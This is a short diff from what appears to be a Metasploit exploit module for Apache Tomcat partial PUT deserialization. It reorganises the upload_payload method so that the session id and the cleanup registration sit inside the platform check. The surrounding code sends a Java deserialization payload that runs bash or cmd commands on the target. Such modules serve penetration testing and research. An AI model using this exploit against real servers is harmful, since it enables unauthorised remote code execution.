Consolidated Platform check

Author: jheysel-r7

modules/exploits/multi/http/tomcat_partial_put_deserialization.rb

@@ -128,29 +128,25 @@ def execute_command(cmd, _opts = {})
   end
 
   def upload_payload(cmd)
+    # Generate a random session id
+    session_id = Rex::Text.rand_text_alpha(10)
     # Determine the shell
     case target['Platform']
     when ['unix', 'linux']
       shell = 'bash'
+      register_file_for_cleanup("../webapps/ROOT/#{session_id}.session")
     when 'win'
       shell = 'cmd'
+      register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}")
     else
       fail_with(Failure::NoTarget, "Unsupported target platform! (#{target['Platform']})")
     end
 
-    # Generate a random session id
-    session_id = Rex::Text.rand_text_alpha(10)
     res = send_partial_put(
       generate_java_deserialization_for_command(datastore['GADGET'].to_s, shell, cmd),
       "#{session_id}.session"
     )
 
-    case target['Platform']
-    when ['unix', 'linux']
-      register_file_for_cleanup("../webapps/ROOT/#{session_id}.session")
-    when 'win'
-      register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}")
-    end
     # 201/204 is the normal success code
     # 409 indicates a conflict or file permission issue
     # but the partial file will still be created